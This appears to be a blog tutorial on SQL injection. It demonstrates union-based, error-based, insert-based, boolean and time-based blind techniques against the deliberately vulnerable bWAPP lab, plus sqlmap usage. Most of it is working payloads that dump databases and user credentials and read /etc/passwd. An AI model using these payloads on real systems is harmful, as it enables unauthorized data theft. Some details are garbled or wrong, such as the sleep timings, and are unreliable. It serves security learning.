SQL
Injection with Complete Data Extraction
1) Explanation
SQL injection arises when a user sends untrusted SQL code to the database server by injecting in the application
How SQL Injection Works
Example 1:
Suppose you've developed
a XYZ web application that helps your users to enter their userID and view
their profiles. The web application’s user interface processes the userID and
gives to the back-end database.
The database runs a
SQL query and returns the results to the web application, then the result shown
to the user.
SELECT
* FROM users
WHERE user_id =
'5187'
Here, we have very important part that is a syntax, if syntax of above query gets disturbed by any wrong/malicious input then it will through an error ( sometimes errors can be exceptionally handled so there blind SQL plays a role, I will discuss that in the below mentioned sections.)
End user has a control on the input field only which is user_id and user entered 5187 as an input.
The quotes visible in the data input part are appended by the SQL IDE or SQL interpreter/compiler because that is the defined way to carry data from application to the database vice-versa.
If user somehow manages to disturb these quotes in data input, then an error will be thrown, or application behaviour will be changed.
When this situation occurs then that is the time, where we play our SQL injection payloads in the web application and try to exploit or extract the database.
Example 2:
Consider a shopping application that displays products. When the user clicks on the item category, their browser requests the URL:
https://abc.com/data?product=item
o
all
details (*)
o
from the data
table
o
where the product
is item
o and released is 1.
SELECT
* FROM data WHERE product =
'item’ AND released = 1
· To check whether the application is vulnerable to SQL injection or not, we disturb the syntax with quotes.
https://abc.com/data?product=’
SELECT * FROM data WHERE product = '’’ AND released = 1
· By mentioning a single quote in the above URL, the query will be interpreted as above mentioned query, instead of two quotes in the data input field, it will take 3 quotes and that will be a syntax violation.
· By this
mistake backend interpreter will throw a SQL based error or application will
behave a bit differently here.
o Sometimes errors exceptions handled by the developers so there blind SQL plays a role.
· To construct the query for leveraging the vulnerability as follows: -
https://abc.com/data?product=item'--
SELECT * FROM data WHERE product = item--' AND released = 1
· Above URL will be interpreted as above mentioned query and then sends to the database.
· A slight change in the query due to item--’ instead of ‘item’ will have a huge impact. It will simply comment or ignore the query after item--
· This means that all products are displayed, including unreleased products.
· This is step by step analyses approach so if attacker keeps crafting the query one after next step then, an attacker can cause the application to display all the products. Since 1=1 is always true, the query will return all items.
https://abc.com/data?product=item’+OR+1=1--
SELECT * FROM data WHERE product = 'item' OR
1=1--' AND released = 1
We will dive deep into SQL injection and
data extraction as our walk with SQLi slowly grows
2) Types
SQL Injection can be
divided in below mentioned two types.
3) Examples: BWAPP Application
1. In-band SQL Injection over a Search Form (SQL Injection - POST Search)
o
Scenarios:
- You can search movie names, If it is present in the
database it gives you movie names otherwise not.
§ Break the query with a single quote (‘).
§ Then we can use # -- // sign to comment query present after single
quote.
§ We can also use the “order by” command to check the columns present in
the table.
§ ‘ order by 1 till ‘order by ( number of tables) [Do this until we do
receive an error ]
§ From ‘ order by 1 to ‘ order by 10 gives no error and ‘ order by 11
gives an error that means there are only 10 columns.
§ If we give ‘ order by 10 this
means order by results with 10 columns.
§ Now if you give ( ' union select
1, , 3, 4, 5, 6, 7# ), it will give you the number of columns all columns.
§ Then instead of 2, 3, 4 we will add version(), database(), user()
eg:- ' union select 1, version(), database(), user(), 5, 6, 7#
2. In-band SQL Injection over a Search Form (SQL Injection - Select
From)
o Scenario: - You can select movies from the drop-down menu and then
click the “GO” button which brings movie details from the server.
§ If we check “first step” in proxy (by intercepting request) then we see
it is a post request and in body there are parameters like:
§ movie=1&action=go
§ Now if we try with quotes (‘) to break the query posted towards the
database like the previous scenario then it is throwing error but not
satisfying the syntax if we use other single quotes like in the previous
scenario.
§ But catch is, if we give sql statement without quotes then it works like:
§ G.I Joe: Retaliation is a movie present on the first record of the
table.
·
movie=1 &action=go
§ So if we enter: -
·
movie=1 or 1=1&action=go
·
Above statement just satisfies the
syntax and brings “ G.I Joe: Retaliation” from the server.
·
If we do : -
o
movie=3 or 1=1&action=go
o
Above statement also brings the
first record “G.I Joe: Retaliation” only, not the third record movie.
o
Which shows we can retrieve the
information from the database.
§ Now try to find number of columns available: -
·
Total 7 columns are available
like: -
·
movie=1 order by 7&action=go
·
Where 1 = movie record
·
order by 7 = correct number of
columns, by order by 8 it gives an error.
§ Now we will try to print all columns: -
·
movie=0 union select
1,2,3,4,5,6,7&action=go
·
Where 0 = no records, we can use
null also on 0 place.
·
We have column 2, 3, 5, 4 to
retrieve the information.
§ Lets retrieve version, database, user: -
·
movie=0 union select
1,version(),database(),user(),5,6,7#&action=go
·
Where 0 = null record.
·
# = after # no statement will be
executed.
§ Let’s retrieve the character set of the database.
·
movie=0 union select
1,schema_name,default_character_set_name,default_collation_name,5,6,7 from
information_schema.schemata limit 0,1#&action=go
§ Retrieve the database: -
·
movie=0 union select
1,schema_name,default_character_set_name,default_collation_name,5,6,7 from
information_schema.schemata limit 1,1#&action=go
·
movie=0 union select
1,schema_name,default_character_set_name,default_collation_name,5,6,7 from
information_schema.schemata limit 2,1#&action=go
·
movie=0 union select
1,schema_name,default_character_set_name,default_collation_name,5,6,7 from
information_schema.schemata limit 3,1#&action=go
·
Club all databases: - movie=0
union select 1,group_concat(schema_name),
group_concat(default_character_set_name),group_concat(default_collation_name),5,6,7
from information_schema.schemata&action=go
§ Retrieve tables: -
·
movie=0 union select 1,
table_name,3,4,5,6,7 from information_schema.tables&action=go
·
movie=0 union select 1,
table_name,3,4,5,6,7 from information_schema.tables limit 1,1&action=go
·
Club all table names:- movie=0
union select 1, group_concat(table_name),3,4,5,6,7 from information_schema.tables&action=go
§ Retrieve table name in particular database( bWAPP): -
·
movie=0 union select 1,
group_concat(table_name),3,4,5,6,7 from information_schema.tables where
table_schema='bWAPP'&action=go
§ Retrieve column name in particular table ( database = bWAPP, table =
movies)
·
movie=0 union select 1,
group_concat(column_name),3,4,5,6,7 from information_schema.columns where
table_schema='bWAPP' and table_name='movies' &action=go
§ Now we are aware about the database structure and its database names,
tables and columns. Find the values or data present in the tables: -
·
We know the table name, database
name: -
o
movie=0 union select * from
bWAPP.movies&action=go
o
Above step will give the first
record in the table.
o
movie=0 union select * from
bWAPP.movies limit 5,1 &action=go
o
Above step will give another
record (5th) because limit 5, 1 is added.
o
movie=0 union select
group_concat(id),group_concat(title),group_concat(release_year),group_concat(genre),group_concat(main_character),group_concat(imdb),group_concat(tickets_stock)
from bWAPP.movies &action=go
o
Above step provided values present
in the whole table.
o
This query includes all the
columns available in the table.
o
movie=0 union select * from movies
into OUTFILE '/var/www/bWAPP/documents/results.txt' &action=go
o
Above statement will write the
output in a file and save it on the given location.
o
Ignore the warning
o
movie=0 union select 1,
load_file('/var/www/bWAPP/documents/results.txt'),3,4,5,6,7 &action=go
o
Above statement will load the file
and show the output.
- Error-Based
SQL Injection over a Login Form
- Scenario 1:
- Bypass login form - SQL injection (login form / hero)
- Enter
something into login - it will give “invalid credentials” or some other
message.
- Put a
single quote (‘) or double quotes, try 3-4 patterns - if an mssql error
message comes it means we successfully broke the SQL query running
behind login form.
- ‘ or 1 = 1 # this sql injection will let us
login.
- Enumerate
users: - ( when we give 7 in limit, it gives error, which means only 6
users are present)
- ' or 1 =
1 limit 1,1#
- ' or 1 =
1 limit 2,1#
- ' or 1 =
1 limit 3,1#
- ' or 1 =
1 limit 4,1#
- ' or 1 =
1 limit 5,1#
- ' or 1 =
1 limit 6,1#
- Column
numbers: - ( when we enter 5 in column number, it gives an error, only 4
columns)
- ' or 1 =
1 order by 1#
- ' or 1 =
1 order by 2#
- ' or 1 =
1 order by 3#
- ' or 1 =
1 order by 4#
- Enumerate
database name and username.
- ‘ union
select 1,2,3,4# it will give
the columns where we can print values later.
- ‘ union
select 1,database(),3,user(),4#
- SQL
Injection over insert Statement
- Scenario :
-SQL injection - stored Blog - like a comment page
- Insert
query looks like : -
- INSERT
INTO blog (date, entry, owner) VALUES (now(),’ ’, ’ ’)
- Put a
single quote to disturb the syntax , but it will add the single quote
into the database field.
- In step 2
(above), in the VALUES(now(),’
’, ‘ ‘) ------ if we add --- VALUES(now(),’a’, ‘b’)#
- a’,
‘b’)# ---- this will not cause
any problem instead will add a and b into the database.
- a',(select 1))# - it will give the old
value ( b inserted into database )
- ',
(select concat_ws(0x3a,database(),version(),user())))#
- a',(select
concat_ws(0x3a,schema_name,default_character_set_name,default_collation_name)
from information_schema.schemata limit 0,1))#
- a',(select
concat_ws(0x3a,schema_name,default_character_set_name,default_collation_name)
from information_schema.schemata limit 1,1))#
- a',(select
group_concat(schema_name) from information_schema.schemata))#
- Retrieve
tables now:-
- a',(select
concat_ws(0x3a,table_schema,table_name) from information_schema.tables
limit 0,1))#
- a',(select
concat_ws(0x3a,table_schema,table_name) from information_schema.tables
limit 1,1))#
- a',(select
concat_ws(0x3a,table_schema,table_name) from information_schema.tables
limit 2,1))#
- a',(select
concat_ws(0x3a,table_schema,table_name) from information_schema.tables
limit 3,1))#
- a',(select
group_concat(table_name) from information_schema.tables where
table_schema='bWAPP'))# --- to find tables in ‘bWAPP’ database.
- a',(select
concat_ws(0x3a,table_name,column_name) from information_schema.columns
limit 0,1))# --- to find table
names
- a',(select
group_concat(column_name) from information_schema.columns where
table_schema='bWAPP' and table_name='users'))# ---- to find out the column name
under ‘bWAPP’ database and under ‘user’ table
- a',(select
concat_ws(0x3A,id,login,password,email,secret,admin) from bWAPP.users
limit 0,1))#
- a',(select
load_file('/etc/passwd')))#
- Boolean
Based Blind SQL Injection
- Scenario --
SQL injection Blind Boolean based
- Normally
the database holds movie names (for example), if a movie is present in DB
then it gives a result otherwise negative message.
- If try a
single quote or something to disturb the syntax then some error comes.
- We will try
blindly and logically now
- Write any
SQL injection query like: --- ‘ or 1=1 --- it will break the query but
sql error message does not appear.
- So we do
not know how our syntax is breaking.
- We will
follow two scenarios, FIRST - a positive statement and SECOND - a
negative statement.
- Try ‘#
- May be
above statement does not through an error, it may through a negative
message ( that movie is not available in the database)
- Now we will
try--- ‘ or 1=1#
---this may be will load the positive message (movie is available
in the database)
- Now we will
try--- ‘ or 1=2#
---this may be will load the negative message (movie is not
available in the database)
- Try
--- ' or 1=1 and length(database())=5#
- In step 12,
=5 is length of the current database
- ' or 1=1
and substring(database(),1,1)='a#
- Above step
14, explains --- what is a first letter present in the name of database ,
( ‘a# ) in the query is a comparison if first letter is a or not.
- Likewise we
need to bruteforce from a to z and find out the correct database.
- In this
case we know the database name is ‘bWAPP’, so the queries will be like:-
- ' or 1=1
and substring(database(),1,1)='b’#
- ' or 1=1
and substring(database(),2,1)='W’#
- ' or 1=1
and substring(database(),3,1)='A’#
- ' or 1=1
and substring(database(),4,1)='P’#
- ' or 1=1
and substring(database(),5,1)='P’#
- From step
18,19,20,21,22 the front end message will be
- Otherwise
the frontend message will be
- There are multiple
options available for comparison like: -
- ' or 1=1
and ascii(substring(database(),1,1))>97#
- 97 ascii
value is a.
- Time Based
Blind SQL Injection
- Scenario -
SQL Injection Blind Time Based
- There is
an input field, where we enter a movie name and if it is present then
the result will be sent to your email address.
- ‘ and “
are not working.
- Because
error reporting might be disabled in the code.
- Try
boolean values, but boolean payloads do not work always.
- SO try:
-
- ' or 1=1
and sleep(0.2)#
- 0.2 is
two seconds and application waits for 2 seconds.
- ' or 1=1
and benchmark(10000000,rand())#
- ' or 1=1
and if(mid(version(),1,1)='5',sleep(0.5),0)# ---if os version 5 is in use then
load the page after 5 seconds ( yes it is using ubuntu in backend)
- SQL-Map
- Usage: -
-
o Random agent -H (to add http header)- from where the request will be sent.
o --dbms - MySQL
o --os - OS present
o -f - fingerprinting
o -b - banner grab
o --current-db -- is-dba - current db user is an admin or not/?
· Scenarios
o Detecting and exploiting error-based SQL Injection with SQLmap
§ SQL Injection (Login Form/user) [ from bWAPP application]
· A login form with username and password fields
· Enter any input and intercept the request.
· Save the request (copy into a file .txt)
· Open terminal and run this command
sqlmap -r <<path of the saved file(request)>> -p login -H <<who will send the request/special headers>>
sqlmap -r <<path of the saved file(request)>> -p login -H <<who will send the request/special headers>> --technique E -f -b
o Detecting and exploiting Boolean SQL Injection with SQLmap
§ SQL Injection -Blind -Boolean-Based [ from bWAPP application]
· A search box, which gives the movie name if it is present in the database.
· Enter any input and intercept the request.
· Save the request (copy into a file .txt)
· Open terminal and run this command
sqlmap -r <<path of the saved file(request)>> -p title -H <<who will send the request/special headers>>
sqlmap -r <<path of the saved file(request)>> -p title -H <<who will send the request/special headers>> --technique B --dbms MySQL --level 5 --risk 3
· Level 5 means much larger number of payloads
· risk is try all possible types of sqli like OR, AND etc.
o Detecting and exploiting Time Based SQL Injection with SQLmap
§ SQL Injection -Blind -Boolean-Based/Time based [ from bWAPP application]
· A search box, which gives the movie name if it is present in the database.
· Enter any input and intercept the request.
· Save the request (copy into a file .txt)
· Open terminal and run the command
sqlmap -r <<path of the saved file(request)>> -p title -H <<who will send the request/special headers>>
sqlmap -r <<path of the saved file(request)>> -p title -H <<who will send the request/special headers>> --technique T -b -f
This is just a learning please do explore as much as possible. SQL map options and commands can be changed as it frequently get updates. Please use sqlmap -h or sqlmap -hh to view its new options/arguments.
Comments
Post a Comment